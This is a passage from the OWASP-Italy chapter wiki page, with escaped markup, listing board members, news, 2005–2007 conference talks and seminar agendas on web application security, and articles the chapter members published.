- Translate all OWASP documentations in italian language (Matteo Paolelli, Massimiliano Graziani)&amp;lt;br&amp;gt;&lt;br /&gt;
- Writing articles about OWASP Project for infosecmag (Matteo Meucci, Alessandro Graziani, Lorenzo De Santis, Marco Graia, Luca Carettoni, Carlo Pelliccioni)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Legal (Dario Vaccaro, Marco Scialdone)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Code Review (Paolo Perego)&amp;lt;br&amp;gt;&lt;br /&gt;
- Developing WebAppSec tools &amp;amp; Research (Stefano Di Paola, Daniele Bellucci, Alberto Revelli, Antonio Parata)&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Board ==&lt;br /&gt;
* This is the (not official) '''OWASP-Italy Board''':&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
Founder and Chair: Matteo Meucci&amp;lt;br&amp;gt;&lt;br /&gt;
Director of Communication: Raoul Chiesa&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Director : Alberto Revelli&amp;lt;br&amp;gt;&lt;br /&gt;
R&amp;amp;D Director: Stefano Di Paola&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Writer Director: Lorenzo De Santis&amp;lt;br&amp;gt;&lt;br /&gt;
Italian Translation of docs and papers: Matteo Paolelli, Massimiliano Graziani.&amp;lt;br&amp;gt;&lt;br /&gt;
Official active members: Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin, Paolo Perego, Daniele Bellucci.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== What is OWASP? ==&lt;br /&gt;
&lt;br /&gt;
[http://www.isacaroma.it/html/newsletter/?q=node/78 Here] you can read an interview talking about OWASP.&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy is a CLUSIT Member ==&lt;br /&gt;
&lt;br /&gt;
http://www.clusit.it/logo_clusit/clusit_logo_b130.gif&lt;br /&gt;
&lt;br /&gt;
Thanks to CLUSIT and OWASP Foundation we have established a cross-membership between the two organizations.&lt;br /&gt;
So OWASP-Italy is now a [http://www.clusit.it/soci.htm CLUSIT member]  and CLUSIT is an OWASP Educational Member&lt;br /&gt;
&lt;br /&gt;
== NEWS: OWASP-Italy at InfoSecurity 07 ==&lt;br /&gt;
&lt;br /&gt;
* (Mar 07) Luca Carettoni has published an interview to OWASP-Italy (OWASP interviews OWASP :) )&lt;br /&gt;
[http://blog.html.it/archivi/2007/02/26/quattro-chiacchiere-con-owasp-italia.php Here] the full article.&lt;br /&gt;
&lt;br /&gt;
* (Oct 06) ISACA Roma has published several interview with OWASP-Italy members:&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/328 Carlo Pelliccioni]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Paolo Perego has created the new '''OWASP Orizon Project'''. Go to [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Matteo Meucci has been selected as the new editor of the '''OWASP Testing Guide v2'''. See OWASP [http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006_:_Selected_Projects_Press_Release press release] and go to [http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Project v2]&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Carlo Pelliccioni is writing an article about the [http://www.owasp.org/index.php/Analysis_about_error_codes analysis of error codes] received by web servers. &lt;br /&gt;
&lt;br /&gt;
* Top10 Vulnerabilities - OWASP-Italy survey:&lt;br /&gt;
[[Image:Top 10 vulnerabilities-mini.GIF]]&lt;br /&gt;
&lt;br /&gt;
* (21 Jun 06) '''Infosecurity 2006''': the event is organized and managed by the CLUSIT.&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;.&lt;br /&gt;
[http://www.infosecurity.it/Roma/programma.php More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Jun 06) '''&amp;quot;Quaderno CLUSIT&amp;quot;'''&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but will be made public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (31 May 06) Luca Carettoni has published the article '''&amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;.''' [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Mar 06) '''OWASP-Boston, Microsoft'''&lt;br /&gt;
Thanks to Jim Weiler, Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting.&lt;br /&gt;
[http://www.owasp.org/local/boston.html More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (18 Nov 05) '''IDC - European Banking Forum'''&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we will have a great speech at the [http://www.idc.com/italy/events/banking05/banking05_agenda.jsp IDC European IT Banking Forum 2005]. &lt;br /&gt;
Agenda:&lt;br /&gt;
- New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
- Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Oct 05) '''SMAU 2005''' is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy. &lt;br /&gt;
SMAU has accepted our submission! [http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Giu 05) Thanks to Massimiliano Graziani we have translated in italian the '''&amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;'''. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (May 05) '''ISACA Roma Newsletter''' has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The presentation of the seminar we have done in '''ISACA Rome''' (31th March 2005) is now available [http://www.isacaroma.it/pdf/050331/meucci.zip here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Mar 05) Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
== Events ==&lt;br /&gt;
&lt;br /&gt;
=== September 10th, 2007 - OWASP Day WorldWide: &amp;quot;Privacy in the 21st Century&amp;quot; ===&lt;br /&gt;
----&lt;br /&gt;
[[Image:Master.jpg]]&lt;br /&gt;
&lt;br /&gt;
Thanks to the collaboration with the Master on Information Security of the Universita di Roma &amp;quot;La Sapienza&amp;quot; (http://mastersicurezza.uniroma1.it), we are organizing the OWASP Day here in Italy next 10th September 2007 during the Global Security Week.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/Italy#NEXT_EVENT::_September_10th.2C_2007_-_OWASP_Day_WorldWide:_.22Privacy_in_the_21st_Century.22   Here you can read updated information about the event]&lt;br /&gt;
&lt;br /&gt;
=== May 29th, 2007 - Seminar: &amp;quot;Software Security&amp;quot; ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* Stefano Di Paola, Paolo Perego and Matteo Meucci will talk at the Seminar: [http://www.sicurinfo.it/informazioni/visinf.asp?IDInfo=246&amp;amp;CAT=53 &amp;quot;Which approaches to Software Security&amp;quot;] organized by Firenze Tecnologia.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== May 15th-17th, 2007 - 6th OWASP AppSec Conference in Italy ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* We are in the initial planning stages for the next OWASP Europe conference, which we plan to hold in Italy in May 2007.&lt;br /&gt;
[http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007 Here] you can find all the details about the conference, cfp and sponsorship.&lt;br /&gt;
&lt;br /&gt;
=== April 14th, 2007 - Master on Information Security, University of Rome &amp;quot;La Sapienza&amp;quot;===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* We have done a 4h seminar for the students of [http://mastersicurezza.uniroma1.it/ Master on Information Security at &amp;quot;La Sapienza&amp;quot;] for the [http://icsecurity.di.uniroma1.it/dokuwiki/doku.php?id=projects:asp Application Security Project of &amp;quot;La Sapienza&amp;quot; University.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 30th, 2007 - University of Rome &amp;quot;La Sapienza&amp;quot; ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* Thanks to Prof. Mancini and Roberto D'Addario, we will talk about OWASP at the convention &amp;quot;Institutions, Companies and Information Security: comparing the problems&amp;quot;&lt;br /&gt;
[http://w3.uniroma1.it/security/Eventi/eventi.html Here] you can find more details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2007 - EuSecWest 07 ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Alberto Revelli and Matteo Meucci presented the new OWASP Testing Guide at [http://www.eusecwest.com/agenda.html EUSecWest].&lt;br /&gt;
[http://www.owasp.org/images/e/e9/OWASP_Testing_Guide_Presentation_EUSecWest07.zip Here] you take a look at the presentation.&lt;br /&gt;
&lt;br /&gt;
=== February 6th-8th, 2007 - InfoSecurity ===&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
* February 6th:15.30&lt;br /&gt;
After the great success obtained form CCC at Berlin, Stefano Di Paola and Giorgio Fedon will talk about:&amp;quot; Web Security Client Side: attacks at Web 2.0&amp;quot;&lt;br /&gt;
More information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=aqfi82GOKd6I748s1evI8Q%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here].&lt;br /&gt;
&lt;br /&gt;
* February 6th:16.30&lt;br /&gt;
After the great effort on the Testing Guide Project, Matteo Meucci and Alberto Revelli will present: &amp;quot;The new OWASP Testing Guide&amp;quot;&lt;br /&gt;
More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=nq6tSIuRoPVJBanBSsRiSQ%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here].&lt;br /&gt;
&lt;br /&gt;
* February 7th:12.30&lt;br /&gt;
Authors of innovative SQL injection tools, Alberto Revelli and Antonio Parata will show: &amp;quot;Advanced SQL Injection: testing tools and defensive strategies.&amp;quot;&lt;br /&gt;
More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=3z04F5BgZRgfU0YX8JRYtA%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here]&lt;br /&gt;
&lt;br /&gt;
* February 7th:13.30&lt;br /&gt;
Author of the new OWASP Orizon project, Paolo Perergo will present:&amp;quot;Secure programming: from theory to practice&amp;quot;&lt;br /&gt;
More Information [http://www.infosecurity.it/it/infosecurity.aspx?ID_Portale=Z6skuJTSHr%2fjF7janL35RA%3d%3d&amp;amp;ID_Pagina=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl1=mllS8ehP3VwfAOVCVR5ckw%3d%3d&amp;amp;ID_MenuLvl2=fF%2b7etXTY34nfmtRTL8Shw%3d%3d&amp;amp;ID_MenuLvl3=fPsJu6gF%2blBE8LaUGEMYLw%3d%3d&amp;amp;Lang=l51VDVQfL9BdevTm%2fsJx0Q%3d%3d&amp;amp;ID_Evento=9HePIzyo5p29ylpGBl6CiA%3d%3d&amp;amp;ExtControl=FQQ52p7AGBUZth0l9Qw6MSOcqIebAeaBYiSFezT6eKEvZkQfILymgy7truUG7ii4 here].&lt;br /&gt;
&lt;br /&gt;
=== January 25th, 2007 - Isaca Rome ===&lt;br /&gt;
----&lt;br /&gt;
Matteo Meucci will discuss the new [http://www.owasp.org/index.php/Category:OWASP_Testing_Project OWASP Testing Guide v2]&amp;lt;br&amp;gt;&lt;br /&gt;
For more information:&amp;lt;br&amp;gt;&lt;br /&gt;
http://www.isacaroma.it/html/GiornateDiStudio.html&lt;br /&gt;
&lt;br /&gt;
=== October 7th, 2006 - SMAU 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
- &amp;quot;''The quest for secure code: code review and fundamental of secure coding.''&amp;quot;&lt;br /&gt;
Matteo Meucci will present an introduction to the new OWASP Projects and OWASP-Italy activities.&lt;br /&gt;
Paolo Perego (sp0nge) will speak about safe coding and the importance of code periodic review as natural software life cycle. Paolo will give a vision on code review and its phases&lt;br /&gt;
http://www.webb.it/event/eventview/5772&lt;br /&gt;
&lt;br /&gt;
Here are the presentations: &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Meucci_SMAU06.pdf| Meucci_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Perego_SMAU06.pdf| Perego_SMAU 06]]&lt;br /&gt;
&lt;br /&gt;
- &amp;quot;''Advanced SQL Injection.''&amp;quot;&lt;br /&gt;
Antonio Parata (S4tan) will explain SQL Injection, and how SQL Inference works on PHP/MySql platform. He will present an open source tool to support the testing. &lt;br /&gt;
Alberto Revelli (icesurfer) will focus on Microsoft SQL Server: he will perform a live demo of sqlninja (http://sqlninja.sf.net), explaining how to obtain a pseudo-shell over SQL, how to escalate privileges, and how to play with the exotic equation: &amp;quot;SQL Injection + debug.exe + DNS = DOS prompt&amp;quot; !&lt;br /&gt;
http://www.webb.it/event/eventview/5774&lt;br /&gt;
&lt;br /&gt;
[[Image:Revelli_SMAU06.pdf|Revelli_SMAU06 ]] &amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:Parata_SMAU06.pdf|Parate_SMAU06]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Image:OWASP-Italy_at_SMAU06_2.JPG]]&lt;br /&gt;
Luca, Carlo, Alberto, Antonio, Stefano &amp;lt;br&amp;gt;&lt;br /&gt;
Matteo, Paolo, Giorgio&lt;br /&gt;
&lt;br /&gt;
=== September 29th, 2006 - OpenExp 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
September 30th, at 10:45 Antonio Parata (S4tan) will speak about SQL Injection: techniques, tools and practical examples.&lt;br /&gt;
&lt;br /&gt;
Abstract: Antonio will introduce some basic concepts about software security. &lt;br /&gt;
It will be shown how SQL Inference works on PHP/MySql platform and presented an open source tool to support the testing. Finally will be listed some advises to avoid common bugs.&lt;br /&gt;
http://www.openexp.it/&lt;br /&gt;
&lt;br /&gt;
OWASP-Italy will have a stand from September 29th to October 1st.&lt;br /&gt;
&lt;br /&gt;
[[Image:Antonio_Matteo_Carlo.JPG]]&lt;br /&gt;
[[Image:Antonio_speech.JPG]]&lt;br /&gt;
[[Image:Carlo.JPG]]&lt;br /&gt;
[[Image:Claudio_Luca.JPG]]&lt;br /&gt;
[[Image:Mayhem_Matteo.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner2.JPG]]&lt;br /&gt;
[[Image:OWASP_Banner.JPG]]&lt;br /&gt;
&lt;br /&gt;
=== June 21th, 2006 - InfoSecurity 2006 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;. The event is organized and managed by the CLUSIT.&lt;br /&gt;
&lt;br /&gt;
Where: Sheraton Roma Hotel - Viale Del Pattinaggio, 100&lt;br /&gt;
When: 10,30 - 17,00&lt;br /&gt;
Who: Matteo Meucci and Alberto Revelli&lt;br /&gt;
Link: http://www.infosecurity.it/Roma/programma.php&lt;br /&gt;
&lt;br /&gt;
Agenda:&lt;br /&gt;
-- I Session --&lt;br /&gt;
Introduction to Web Application Security&lt;br /&gt;
• Which are the risks?&lt;br /&gt;
• Risk assessment of a web application&lt;br /&gt;
• Core pillars of web security&lt;br /&gt;
How to develop secure web applications:&lt;br /&gt;
• Guidelines and case-studies&lt;br /&gt;
&lt;br /&gt;
-- II Session --&lt;br /&gt;
How to realize a security audit of a web application&lt;br /&gt;
• The methodology OWASP Penetration Testing&lt;br /&gt;
• The tools: OWASP WebScarab&lt;br /&gt;
• Hands-on web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
• Advanced SQL Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== March 1st, 2006 - OWASP-Boston, Microsoft ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Jim Weiler (OWASP-Boston Chair), Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting of march.&lt;br /&gt;
[http://www.owasp.org/index.php/Boston More info here]&lt;br /&gt;
&lt;br /&gt;
=== November 5th, 2005 - IDC - European Banking Forum ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we have had a great speech at the IDC European IT Banking Forum 2005 (18 Nov 2005). http://www.idc.com/italy/events/banking05/banking05_agenda.jsp&lt;br /&gt;
Agenda:&lt;br /&gt;
* New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
* Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy.&lt;br /&gt;
&lt;br /&gt;
You can download the report [http://cdn.idc.com/italy/downloads/report_banking05_eng.pdf here].&lt;br /&gt;
&lt;br /&gt;
You can download the Case-Study of a vulnerable Home Banking Web Application [http://www.owasp.org/docroot/owasp/misc/IDC_BankingForum05v1.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== October 5th, 2005 - OWASP-Italy@SMAU2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
SMAU is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy.&lt;br /&gt;
Alberto Revelli (our Technical Director) and Matteo Meucci have conducted a seminar talking about Web Application Security.&lt;br /&gt;
Alberto has presented his new project: [http://sqlninja.sourceforge.net sqlninja]. Very cool!!&lt;br /&gt;
&lt;br /&gt;
http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili&lt;br /&gt;
&lt;br /&gt;
=== May 25th, 2005 - ISACA Rome 2nd meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
May 25th we'll be in ISACA Rome to present OWASP WebGoat and a real case of a Web Application Vulnerability.&lt;br /&gt;
Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.30 Registration&lt;br /&gt;
14.45 Matteo Meucci - Web Application Security Phase II&lt;br /&gt;
- OWASP WebScarab and PenTest Checklist&lt;br /&gt;
* A case-study of a Web Application Vulnerability: MMS Spoofing&lt;br /&gt;
--- Web Application analysis&lt;br /&gt;
--- Authentication and Billing of the MMS service&lt;br /&gt;
--- Vulnerabilities&lt;br /&gt;
--- Attack Analysis&lt;br /&gt;
* Learning the most common web application vulnerabilities: OWASP WebGoat&lt;br /&gt;
--- Http Basics&lt;br /&gt;
--- HTML Clues&lt;br /&gt;
--- Hidden Field Tampering&lt;br /&gt;
--- How to spoof a Session Cookie&lt;br /&gt;
--- Stored Cross Site Scripting&lt;br /&gt;
--- Command Injection&lt;br /&gt;
--- SQL Injection&lt;br /&gt;
--- Fail Open Authentication&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050525/OWASP.zip here].&lt;br /&gt;
&lt;br /&gt;
=== May 18th, 2005 - Workshop on Computer Crime 2005 ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
May 18th, 2005 OWASP-Italy is invited to present OWASP Top 10 to the &amp;quot;Workshop on Computer Crime 2005&amp;quot; titled:&lt;br /&gt;
&amp;quot;EVOLUZIONI NORMATIVE E RECENTI PROBLEMATICHE DI SICUREZZA&amp;quot;&lt;br /&gt;
&lt;br /&gt;
The meeting is held at: Sala delle conferenze dell'Istituto Centrale della Banche Popolari Italiane Via Verziere, 11&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.owasp.org/images/a/aa/Top10-ComputerCrimes.ppt here].&lt;br /&gt;
&lt;br /&gt;
=== March 31th, 2005 - ISACA Rome meeting ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March 31th we'll be in ISACA Rome to present OWASP and the Web Application Security. Every one is invited to join the meeting.&lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
14.15 Registration&lt;br /&gt;
14.30 Matteo Meucci - Web Application Security&lt;br /&gt;
- OWASP Guide: how to build secure web application&lt;br /&gt;
- How to test your Web Application: WebScarab and the WebApp PenTest Checklist&lt;br /&gt;
- How to learn the most common web application vulnerability: WebGoat&lt;br /&gt;
- The Top Ten WebApp vulnerabilities&lt;br /&gt;
- Common error on developing Web Application:&lt;br /&gt;
Authentication mechanisms not &amp;quot;secure&amp;quot;&lt;br /&gt;
Buffer Overflow and crash of the service&lt;br /&gt;
Thief of identity: Cross Site Scripting&lt;br /&gt;
Manipulation of company data: SQL Injection&lt;br /&gt;
Reserved information: misconfiguration&lt;br /&gt;
Bad session management and thief of identity&lt;br /&gt;
- OWASP-Italy: projects and next challenges&lt;br /&gt;
&lt;br /&gt;
The meeting is hold at:&lt;br /&gt;
Via Volturno, 65 (Rome) - Auditorium ATAC&lt;br /&gt;
http://www.isacaroma.it/html/GiornateDiStudio.html&lt;br /&gt;
&lt;br /&gt;
You can download the presentation [http://www.isacaroma.it/pdf/050331/meucci.zip here].&lt;br /&gt;
&lt;br /&gt;
=== March 21th, 2005 - OWASP-Italy conducts a seminar in AlmaWeb ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
March, the 21th OWASP-Italy has been invited at the University of Bologna to conduct a seminar regards to [http://www.almaweb.unibo.it/830.dyn Master in Management and Information Technology] titled “Web Application Security and OWASP”. &lt;br /&gt;
&lt;br /&gt;
Here is the agenda:&lt;br /&gt;
- OWASP &amp;amp; Web Application Security&lt;br /&gt;
- Common Web Application Vulnerabilities&lt;br /&gt;
- A real case of web application vulnerability: MMS Spoofing&amp;amp;Billing&lt;br /&gt;
- Training: WebGoat&lt;br /&gt;
&lt;br /&gt;
== Publications ==&lt;br /&gt;
&lt;br /&gt;
=== March, 2007 Interview on HTML.it ===&lt;br /&gt;
----&lt;br /&gt;
Luca Carettoni has published an interview to OWASP-Italy (OWASP interviews OWASP :) )&lt;br /&gt;
[http://blog.html.it/archivi/2007/02/26/quattro-chiacchiere-con-owasp-italia.php Here] the full article.&lt;br /&gt;
&lt;br /&gt;
=== October, 2006 ISACA Roma interviews OWASP-Italy ===&lt;br /&gt;
----&lt;br /&gt;
After the speeches that OWASP-Italy has done at [http://www.smau.it/catnews.asp?l=2&amp;amp;codcat=385 SMAU E-Academy 2006], ISACA Roma has interviewed some of the people of the Italian chapter. Follow the links for the full interviews (in italian):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli ]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/322 Stefano Di Paola &amp;amp; Giorgio Fedon]]&lt;br /&gt;
&lt;br /&gt;
=== Aug, 2006 - Article on Banca Finanza magazine ===&lt;br /&gt;
----&lt;br /&gt;
Banca Finanza, the italian magazine about finance and banking, has interviewed Raoul Chiesa talking about the new risks for the on-line banking security. Raoul speaks about OWASP and web application security [[Media:042006BF.pdf]]&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Quaderno CLUSIT ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but it will be public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
=== June, 2006 - Paper on SQL Injection and Inference on PHP/MySQLInference ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Antonio &amp;quot;s4tan&amp;quot; Parata has published an article about SQL Injection based on Inference for testing web application on PHP/MySQL platform.&lt;br /&gt;
[http://www.ictsc.it/papers/sqlInferenceOnMySql.html Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== May, 2006 - Published an article about OWASP and Top-10 Vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Luca Carettoni has published the article &amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;. [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
=== June, 2005 - OWASP Pen Test Checklist v 1.1 in Italian ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Thanks to Massimiliano Graziani we have translated in italian the &amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
